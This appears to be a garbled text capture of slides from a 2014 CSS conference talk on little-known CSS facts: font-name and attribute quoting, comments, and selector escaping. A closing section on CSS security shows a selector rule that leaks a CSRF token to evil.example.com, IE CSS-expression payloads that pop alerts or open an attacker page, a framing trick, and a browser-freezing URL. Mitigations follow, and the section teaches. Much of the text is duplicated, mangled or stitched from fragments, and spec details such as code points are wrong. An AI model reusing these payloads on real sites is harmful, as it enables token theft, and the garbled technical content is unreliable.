3.14 things I didn’t know about CSS

@mathias · #cssday
4th of June, 2014
Compagnietheater, Amsterdam

CSS Day is a one-day **advanced** CSS conference.

```javascript
#speakers {
    Ethan Marcotte: "responsive design";
    Heydon Pickering: "effortless style";
    Ana Tudor: "3d transforms";
    Tab Atkins: "layout";
    David Baron: "animations";
    Peter-Paul Koch: "viewports";
    Stephen Hay: "MC";
    Mathias Bynens: "fun facts";
}
```

Our attendees have been working with CSS for years...
CSS Day is a one-day advanced CSS conference.

#speakers {
  Ethan Marcotte: "responsive design";
  Heydon Pickering: "effortless style";
  Ana Tudor: "3d transforms";
  Tab Atkins: "layout";
  David Baron: "animations";
  Peter-Paul Koch: "viewports";
  Stephen Hay: "MC";
  Mathias Bynens: "fun facts";
}

Our attendees have been working with CSS for years...
!important
.foo .bar {
  color: red;
}

.bar {
  color: green;
}
Lorem ipsum dolor sit amet...

http://mths.be/bsh
.foo .bar {
  color: red;
}

.bar {
  color: green !important;
}

!important
Lorem ipsum dolor sit amet...
!important

.foo .bar {
    color: red;
}

.bar {
    color: green !important;
}
!important

.large .small { color: red; }

.large { color: green !important; }
New !important best practice*

```css
.foo .bar {
  color: red;
}
}

.bar.bar.bar.bar.bar.bar.bar.bar.bar.bar.bar {
  color: green;
}
}

* not really
Lorem ipsum dolor sit amet...
Lorem ipsum dolor sit amet...
Font family names
Font family names in CSS

“If there’s whitespace in the font family name, it must be quoted.”

```html
html {
  font-family: 'Comic Sans MS';
}
```
Font family names in CSS

“If there’s whitespace in the font family name, it must be quoted.”

http://mths.be/bft

```html
html {
  font-family: Comic Sans MS;
}
```
Font family names in CSS

```html
html {
  font-family: 456bereastreet;
}
```
Font family names in CSS

```html
html {
  font-family: 456bereastreet;
}
```
Font family names in CSS

html {
    font-family: \34 56bereastreet;
}


Font family names in CSS

```css
html {
  font-family: '456bereastreet';
}
```
Unquoted CSS font family name validator

Wondering if a given character sequence can be used as an unquoted font family name in CSS? Read all about it, or just use this tool.

Enter a font family name:

Comic Sans MS

escape non-ASCII

You can use this as an unquoted font family name in CSS:

```css
font-family: Comic Sans MS;
```

You can use it with quotes:

```css
font-family: 'Comic Sans MS';
```

http://mths.be/bjm
Attribute values
Attribute values

<a href="foo">...</a>

<style>
    a[href="foo"] { 
        background: hotpink;
    }
</style>
Unquoted attribute values

<a href=foo>...</a>

<style>
a[href=foo] {
    background: hotpink;
}
</style>
Unquoted attribute values

```html
<a href=foo|bar>...</a>
<style>
a[href=foo|bar] {
  background: hotpink;
}
</style>
```
Unquoted attribute values

\[\text{Unquoted attribute values} \]

\[<\text{a href=foo|bar}>...</a>\]

\[<\text{style}>\]

\[\text{a[href=foo|bar] \{}\]

\[\text{background: hotpink;}\]

\[\}\]

\[</\text{style}>\]
Unquoted attribute values

```html
<a href=foo|bar>…</a>

<style>
a[href="foo\|bar"] {
  background: hotpink;
}
</style>

http://mths.be/bal
Unquoted attribute values

Unquoted attribute value validator

“Can I use `<a href=foo>` and `a[href=foo]` or does it need quotes?”

Enter an attribute value:

```
mailto:foo@example.org?subject=bar
```

In HTML, that's an invalid unquoted attribute value:

```
<a href=mailto:foo@example.org?subject=bar>permalink</a>
```

In CSS, that's an invalid unquoted attribute value:

```
<style>
  a[href=mailto:foo@example.org?subject=bar] {
    background: hotpink;
  }
</style>
```

To quote "Unquoted attribute values in HTML and CSS":

A valid unquoted attribute value in HTML is any string of text that is not the empty.
Unquoted attribute values

http://mths.be/bjn
CSS comments
CSS comments

.some-selector {
  background: hotpink;
  /*color: red;*/
  text-align: center;
}

CSS comments

.some-selector {
    background: hotpink;
    /*color: red;*/
    text-align: center;
}

CSS comments

.some-selector {
  background: hotpink;
  /*color: red;*/
  text-align: center;
}

CSS comments

.some-selector {
    background: hotpink;
    /* color: red; */
    text-align: center;
}

CSS comments

.some-selector {
    background: hotpink;
    //color: red;
    text-align: center;
}

http://mths.be/brz
CSS comments

de some-selector {
    background: hotpink;
    colour: red;
    text-align: center;
}

http://mths.be/brz
CSS comments

.some-selector {
    background: hotpink;
    colour: red;
    text-align: center;
}

http://mths.be/brz
CSS comments

.some-selector {
  background: hotpink;
  colour: red;
  text-align: center;
}

http://mths.be/brz
CSS comments

.some-selector {
  background: hotpink;
  colour: red;
  text-align: center;
}

http://mths.be/brz
I'm Tab Atkins Jr, and I wear many hats. I work for Google on the Chrome browser as a Web Standards Hacker. I'm also a member of the CSS Working Group, and am either a member or contributor to several other working groups in the W3C. You can contact me [here](http://mths.be/brz).

Listing of All Posts

---

Single Line Comments (//) in CSS

Jan 11

Last updated: Monday, January 13 2014

Hi haters! This article is half informative, half tongue-in-cheek. Remember that I'll delete your ass like it wasn't a thing if you're rude!

CSS uses the same "block comment" syntax as the C-like languages - you start a comment with /**, and end it with */.

However, CSS is missing the "line comment" syntax that those languages have, where everything from // to the end of the line is commented out.

People have asked for this syntax to be added repeatedly, but unfortunately our hands our mostly tied - CSS minifiers don't know about line comments, so if we added it and the minifier removed all the linebreaks (as they tend to do), the line comment would accidentally comment out the entire rest of your stylesheet!

That said, CSS does actually already allow you to use //, after a fashion. It's not quite a line comment, but a next construct comment.

That is, whenever you use //, the next CSS construct - either declaration, rule, or comment - will be considered to be within a comment block, and will be completely ignored.
HTML tags
Valid HTML

<!DOCTYPE html>
<html>
  <head>
    <title>Foo</title>
  </head>
  <body>
    ...
  </body>
</html>
Valid HTML

<!DOCTYPE html>
<html>
    <head>
        <title>Foo</title>
    </head>
    <body>
        ...
    </body>
</html>
Valid HTML

<!DOCTYPE html>
<html>
<head>
<title>Huh?</title>
<body>
...
</body>
</html>
Valid HTML

<!DOCTYPE html>
<html>
<head>
<title>Huh?</title>
<body>
 ...
</body>
</html>
Valid HTML

<!DOCTYPE html>
<title>lolwut</title>
...

Using CSS without HTML
“No JS”

<link href="nojs.css" rel="stylesheet">

http://mths.be/bsf
O HAI! Have a look at my source code : )
O HAI! Have a look at my source code :)

```
1
```
CSS without HTML

$ curl -i http://mathiasbynens.be/demo/css-without-html

HTTP/1.1 200 OK
Date: Wed, 04 Jun 2014 13:33:37 GMT
Link: <css-without-html.css>;rel=stylesheet
Content-Length: 0
Content-Type: text/html; charset=UTF-8

http://mths.be/bpe
CSS without HTML

$ curl -i http://mathiasbynens.be/demo/css-without-html

HTTP/1.1 200 OK
Date: Wed, 04 Jun 2014 13:33:37 GMT
Link: <css-without-html.css>;rel=stylesheet
Content-Length: 0
Content-Type: text/html; charset=UTF-8

http://mths.be/bpe
O HAI! Have a look at my source code :)

```css
html {
  background: #666;
  padding: 1em;
}

body {
  border: 5px dashed #eee;
  color: #fff;
  font: 3em/1.5 sans-serif;
  padding: 1em;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  width: 100%;
  max-width: 30em;
  margin: 0 auto;
}

body::after {
  content: 'O HAI! Have a look at my source code :)';
  /* This needs to be on the ::after (and not just on `body`) for it to work in Firefox 3.6.x and up. */
}
```
<html>
  <head></head>
  <body>
    <svg width="200" height="200">
      <circle fill="red" stroke-width="3" stroke="black" r="80" cy="100" cx="100"/>
    </svg>
  </body>
</html>
Classes and IDs in HTML

```html
<p class="404-error">...</p>
<small class="©">legalese</small>
<p id="❤">HTML 4 lyfe, homes!</p>
<blockquote class=""">LOL</blockquote>
<p id="⌘⌥">...</p>
<p class="⚠️">Warning: ...</p>
<p id="💩">Outdated browser detected.</p>
```

http://mths.be/afd
Classes and IDs in HTML

```html
<p id="#id">Good luck styling me!</p>
<p class="class">heh</p>
<p id="#id.class:hover{}">huh</p>
<p id="#id.class:hover{}">huh</p>
<p id="[attr='value']">wat</p>
```

http://mths.be/afd
To **serialize an identifier** means to create a string represented by the concatenation of, for each character of the identifier:

- If the character is NULL (U+0000), then throw an InvalidCharacterError exception and terminate these steps.
- If the character is in the range [\1-\1f] (U+0001 to U+001F) or is U+007F, then the character escaped as code point.
- If the character is the first character and is in the range [0-9] (U+0030 to U+0039), then the character escaped as code point.
- If the character is the second character and is in the range [0-9] (U+0030 to U+0039) and the first character is a "−" (U+002D), then the character escaped as code point.
- If the character is not handled by one of the above rules and is greater than or equal to U+0080, is "−" (U+002D) or "." (U+005F), or is in one of the ranges [0-9] (U+0030 to U+0039), [A-Z] (U+0041 to U+005A), or [a-z] (U+0061 to U+007A), then the character itself.
- Otherwise, the escaped character.

To **serialize a string** means to create a string represented by "" (U+0022), followed by the result of applying the rules below to each character of the given string, followed by "" (U+0022):

- If the character is NULL (U+0000), then throw an InvalidCharacterError exception and terminate these steps.
- If the character is in the range [\1-\1f] (U+0001 to U+001F) or is U+007F, the character escaped as code point.
- If the character is "" (U+0022) or "." (U+005C), the escaped character.
# Escaping CSS selectors

<table>
<thead>
<tr>
<th>HTML</th>
<th>CSS</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;p id=&quot;#id&quot;&gt;</code></td>
<td><code>#\#id { }</code></td>
</tr>
<tr>
<td><code>&lt;p class=&quot;.class&quot;&gt;</code></td>
<td><code>.\class { }</code></td>
</tr>
<tr>
<td><code>&lt;p id=&quot;#id.class:hover{}&quot;&gt;</code></td>
<td><code>#\#id.class:hover\{\} { }</code></td>
</tr>
<tr>
<td><code>&lt;p class=&quot;[attr='value']&quot;&gt;</code></td>
<td><code>.\[attr='value'\] { }</code></td>
</tr>
<tr>
<td><code>&lt;p id=&quot;404-error&quot;&gt;</code></td>
<td><code>#\34 04-error { }</code></td>
</tr>
</tbody>
</table>
### Escaping CSS selectors

<table>
<thead>
<tr>
<th>HTML</th>
<th>CSS</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;p id=&quot;©&quot;&gt;</td>
<td>#© { }</td>
</tr>
<tr>
<td></td>
<td>\A9 { }</td>
</tr>
<tr>
<td>&lt;p class=&quot;—&quot;&gt;</td>
<td>. { }</td>
</tr>
<tr>
<td></td>
<td>.\2665 { }</td>
</tr>
<tr>
<td>&lt;p id=&quot;&quot;&quot;&gt;</td>
<td>#&quot; { }</td>
</tr>
<tr>
<td></td>
<td>#\201C \201D { }</td>
</tr>
<tr>
<td>&lt;p class=&quot;!&quot;&gt;</td>
<td>.! { }</td>
</tr>
<tr>
<td></td>
<td>.\1F4A9 { }</td>
</tr>
<tr>
<td>&lt;p class=&quot;💩&quot;&gt;</td>
<td>.💩 { }</td>
</tr>
<tr>
<td></td>
<td>.\1F4A9 { }</td>
</tr>
</tbody>
</table>
Escaping CSS selectors

CSS escapes

Wondering how to escape any character in CSS? Learn how, or just use this tool 😊

<!-- HTML (edit the ID and optionally hit “permalink” to save) -->

<p id="1a2b3c">_escape non-ASCII, permalink, example</p>

<!-- CSS -->

<style>
  #\31 a2b3c {
    background: hotpink;
  }
</style>

<!-- JavaScript -->

<script>
  // document.getElementById or similar
  document.getElementById('1a2b3c');
  // document.querySelector or similar
  $('\#\31 a2b3c');
</script>

http://mths.be/bsd
8.1 The CSS.escape() Method

The CSS interface is defined in CSS Conditional Rules Module. [CSSCONDITIONAL]

```javascript
partial interface CSS {
    static DOMString escape(DOMString ident);
};
```

The `escape(ident)` method must return the result of invoking serialize an identifier of `ident`. Any exceptions thrown must be re-thrown.

**EXAMPLE 12**

For example, to escape a string for use as part of a selector, the `escape()` method can be used:

```javascript
var element = document.querySelector('#' + CSS.escape(id) + ' > img');
```

**EXAMPLE 13**

The `escape()` method can also be used for escaping strings, although it escapes characters that don't strictly need to be escaped:

```javascript
var element = document.querySelector('a[href="#' + CSS.escape(fragment) + '"]');
```
A robust polyfill for the CSS.escape utility method as defined in CSSOM. http://mths.be/cssescape
Escaping CSS selectors

```javascript
var $el = $('#' + location.hash);
// ...
```

http://mths.be/cssescape
Escaping CSS selectors

```javascript
var $el = $("#" + location.hash);
// ...

var $a = $("a[href="" + someValue + ""]");
// ...
```

http://mths.be/cssescape
Escaping CSS selectors

```javascript
var $el = $('\#' + location.hash);
// …

var $a = $('a[href^="' + someValue + '"']);
// …
```

http://mths.be/cssescape
Escaping CSS selectors

```javascript
var $el = $('#' + CSS.escape(location.hash));
// ...

var $a = $('a[href="" + CSS.escape(someValue) + '"']');
// ...
```

http://mths.be/cssescape
Using CSS for 😈evil😈
XSS
Warning: You are entering the XSS game area

Welcome, recruit!

Cross-site scripting (XSS) bugs are one of the most common and dangerous types of vulnerabilities in Web applications. These nasty buggers can allow your enemies to steal or modify user data in your apps and you must learn to dispatch them, pronto!

At Google, we know very well how important these bugs are. In fact, Google is so serious about finding and fixing XSS issues that we are paying mercenaries up to $7,500 for dangerous XSS bugs discovered in our most sensitive products.

In this training program, you will learn to find and exploit XSS bugs. You'll use this knowledge to confuse and infuriate your adversaries by preventing such bugs from happening in your applications.

There will be cake at the end of the test.

What's this all about?

This security game consists of several levels resembling real-world applications which are vulnerable to XSS - your task will be to find the problem and attack the apps, similar to what an evil hacker might do.

XSS bugs are common because they have a nasty habit of popping up wherever a webapp deals with untrusted input. Our motivation is to highlight common coding patterns which lead to XSS to help you spot them in your code.

Who can play?

The game is designed primarily for developers working on Web applications who do
Injection contexts

```html
<style>
  p { color: <%= USER_COLOR %>; }
</style>

<p>
  Hello <%= USER_NAME %>!
  <a href="<%= USER_URL %>">View your account</a>.
</p>

<script>
  window.userID = <%= USER_ID %>
</script>

<!-- Debug info: <%= DEBUG_INFO %> -->
What’s the worst you can do if you have control over a page’s CSS?
Injection contexts

```html
<style>
p { color: <%= USER_COLOR %>; }
</style>

<p>
  Hello <%= USER_NAME %>!
  <a href="<%= USER_URL %>">View your account</a>.
</p>

<script>
  window.userID = <%= USER_ID %>
</script>

<!-- Debug info: <%= DEBUG_INFO %> -->
Injection contexts

```
<STYLE>
  p { color: <%= USER_COLOR %>; }
</STYLE>

<p>
  Hello <%= USER_NAME %>!
  <a href="<%= USER_URL %>">View your account</a>.
</p>

<script>
  window.userID = <%= USER_ID %>
</script>

<!-- Debug info: <%= DEBUG_INFO %> -->
A demonstration of what can be accomplished through CSS-based design. Select any style sheet from the list to load it into this page.

Download the example HTML FILE and CSS FILE

THE ROAD TO ENLIGHTENMENT

Littering a dark and dreary road lay the past relics of browser-specific tags, incompatible DOMs, broken CSS support, and abandoned browsers.

We must clear the mind of the past. Web enlightenment has been achieved thanks to the tireless efforts of folk like the W3C, WASP, and the major browser creators.

The CSS Zen Garden invites you to relax and meditate on the important lessons of the masters. Begin to see with clarity. Learn to use the time-honored techniques in new and invigorating fashion. Become one with the web.

SO WHAT IS THIS ABOUT?

There is a continuing need to show the power of CSS. The Zen Garden aims to excite, inspire, and encourage participation.
CSS ZEN GARMENTS

A DEMONSTRATION OF WHAT CAN BE ACCOMPLISHED THROUGH CSS-BASED DESIGN. SELECT ANY STYLE SHEET FROM THE LIST TO LOAD IT INTO THIS PAGE.
CSS ZEN GARDEN

THE BEAUTY OF CSS DESIGN

A demonstration of what can be accomplished through CSS-based design. Select any style sheet from the list to load it into this page.

Download the example html file and css file

THE ROAD TO ENLIGHTENMENT

Littering a dark and dreary road lay the past relics of browser-specific tags, incompatible DOMs, broken CSS support, and abandoned browsers.

We must clear the mind of the past. Web

SO WHAT IS THIS ABOUT?

There is a continuing need to show the power of CSS. The Zen Garden aims to excite, inspire, and encourage participation. To begin, view some of the existing designs in the list. Clicking on any one will load the style sheet.
DR. SHEA'S MIRACULOUS

CSS Zen Garden

no. 218

5.23 fl oz
The Beauty of CSS Design

Select a Design:
- Garments by Dan Mall
- Steel by Steffen Knoeller
- Apothecary by Trent Walton
- Screen Filler by Elliot Jay Stocks
- Fountain Kiss by Jeremy Carlson
- A Robot Named Jimmy by meltmedia
- Verde Moderna by Dave Shea
- Under the Sea! by Eric Stoltz
when walking on
The Road to Enlightenment
don’t forget to kiss a stranger.

Littering a dark and dreary road lay the past relics of browser-specific tags, incompatible DOMs, broken CSS support, and abandoned browsers.

We must clear the mind of the past. Web enlightenment has been achieved thanks to the tireless efforts of folk like the W3C, WaSP, and the major browser creators.

The CSS Zen Garden invites you to relax and meditate on the important lessons of the masters. Begin to see with clarity. Learn to use the time-honored techniques in new and invigorating fashion. Become one with the web.

she asked
So What is This About?

A demonstration of what can be accomplished through CSS-based design. Select any style sheet from the list to load it into this page.

Download the example HTML FILE and CSS FILE
4th of June, 2014

Compagnietheater, Amsterdam

CSS Day is a one-day *advanced* CSS conference.

#speakers {
    Mathias Bynens: "fun facts";
    Peter-Paul Koch: "viewports";
    David Baron: "animations";
    Tab Atkins: "layout";
    Ana Tudor: "3d transforms";
    Stephen Hay: "MC";
    Heydon Pickering: "effortless style";
    Ethan Marcotte: "responsive design";
}

Our attendees have been working with CSS for years now. They know it inside-out. So we asked...
CSS Day is a one-day advanced CSS conference.

#speakers {
  David Baron: "animations";

  "MC";

  Tab Atkins: "layout";

  Mathias Bynens: "fun facts";

  Ethan Marcotte: "responsive design";

  Heydon Pickering: "effortless style";

  Stephen Hay:
Because CSS isn't evil enough already.

**evil.css**

Mess with peoples' webpages. Various subtle and not-so-subtle CSS rules that will slowly drive people insane.

Inspired by Upside-Down-Ternet and kitcambridge's evil.js.
4th of June, 2014

Compagnietheater, Amsterdam

Info about tickets

CSS Day is a one-day **advanced** CSS conference.

#speakers {
  Mathias Bynens: "fun facts";
  Peter-Paul Koch: "viewports";
  David Baron: "animations";
  Tab Atkins: "layout";
  Ana Tudor: "3d transforms";
  Stephen Hay: "MC";
  Heydon Pickering: "effortless style";
  Ethan Marcotte: "responsive design";
}

Our attendees have been working with CSS for years now. They know it inside-out. So we asked
Info about tickets

#speakers {
  Peter-Paul Koch: "viewports";
  David Baron: "animations";
  Tab Atkins: "layout";
  Ana Tudor: "3d transforms";
  Stephen Hay: "MC";
  Heydon Pickering: "effortless style";
  Ethan Marcotte: "responsive design";
}

Our attendees have been working with CSS for years now. They know it inside-out. So we asked our speakers to treat the really geeky CSS stuff
Stealing data from the DOM

<input type="hidden" name="csrf-token" id="csrf" value="abcdef..."/>

http://mths.be/bsj
Stealing data from the DOM

#csrf[value^="a"] {
    background: url(//evil.example.com/?v=a);
}

#csrf[value^="b"] {
    background: url(//evil.example.com/?v=b);
}

#csrf[value^="c"] {
    background: url(//evil.example.com/?v=c);
}

/* ... */

http://mths.be/bsj
Enter something here and press enter
Enter something here and press enter 

http://mths.be/bsj

RESTART
The value is: cssday
CSS Expressions in IE ≤ 7

```html
<STYLE>
#myDiv {
  background: hotpink;
  position: absolute;
  left: expression(
    document.body.clientWidth / 2 - myDiv.offsetWidth / 2);
  top: expression(
    document.body.clientHeight / 2 - myDiv.offsetHeight / 2);
}
</STYLE>

<div id="myDiv">Lorem ipsum</div>

http://mths.be/brw
CSS Expressions in IE ≤ 7

```html
<style>
  #myDiv {
    background: hotpink;
    position: absolute;
    left: expression(document.body.clientWidth / 2 - myDiv.offsetWidth / 2);
    top: expression(document.body.clientHeight / 2 - myDiv.offsetHeight / 2);
  }
</style>

<div id="myDiv">Lorem ipsum</div>

http://mths.be/brw
CSS Expressions in IE ≤ 7

* {  
  width: expression(alert('XSS through CSS'));  
}

http://mths.be/brw
CSS Expressions in IE ≤ 7

* { 
  width: expression(alert('XSS through CSS'))
};
CSS Expressions in IE ≤ 7

* {
  width: expression(
    if (!window.done)
      alert('XSS through CSS'),
    window.done=1
  );
}

http://mths.be/brw
CSS Expressions in IE ≤ 7

* {  
  wtflo1: expression(  
    if (!window.done)  
      open('http://evil.example.com/'),  
      window.done=1  
  );  
}
CSS Day is a one-day advanced CSS conference.

#speakers

- **David Baron**: "animations"
- **Ana Tudor**: "3d transforms"
- **Peter-Paul Koch**: "viewports"
- **Tab Atkins**: "layout"
- **Ethan Marcotte**: "responsive design"
CSS Day is a one-day conference at Mozillia's Head
dquarters. Speakers include:

#speakers {
  David Baron: "anim"
  Ana Tudor: "3d tr"
  Peter-Paul Koch: "layout"
  Tab Atkins: "layout"
  Ethan Marcotte: ""
}
IE’s legacy document modes

<meta http-equiv="X-UA-Compatible" content="IE=Edge"/>

http://mths.be/brx
IE’s legacy document modes

<meta http-equiv="X-UA-Compatible" content="IE=7"/>

http://mths.be/brx
CSS Expressions in IE ≤ 10

<meta http-equiv="X-UA-Compatible" content="IE=7"/>
<style>
  #myDiv {
    background: hotpink;
    position: absolute;
    left: expression( 
      document.body.clientWidth / 2 -
      myDiv.offsetWidth / 2);
    top: expression( 
      document.body.clientHeight / 2 -
      myDiv.offsetHeight / 2);
  }
</style>
<div id="myDiv">Lorem ipsum</div>

http://mths.be/brx
CSS Expressions in IE ≤ 10

<meta http-equiv="X-UA-Compatible" content="IE=7">
<iframe src="http://target.example.com/page-containing-css-payload">
</iframe>

http://mths.be/bpu
How to avoid CSS expression vulnerabilities?

1. sanitize user input before injecting it in a CSS context

2. disallow framing using the HTTP header
   X-Frame-Options: DENY

3. use <!DOCTYPE html>
How to avoid CSS expression vulnerabilities?

1. Sanitize user input before injecting it in a CSS context.

2. Disallow framing using the HTTP header `X-Frame-Options: DENY`.

3. Use `<!DOCTYPE html>`.

http://mths.be/bpu
Freezing Firefox

* {
  background: url('javascript:while(true){{}}');
}

http://mths.be/bsa
there’s more to CSS than 🍗 🌶 the 🍷
there's more to CSS than &
What band is this?

```plaintext
pi {
  color: black;
}
```
What band is this?

The Black 'd 's
The Black <i>‘d</i> <p>s
Thanks to:

Simon Pieters
Tab Atkins
Martin Kool
Mario Heiderich
Frederik Braun
Mike West
Divya Manian
Questions?
@mathias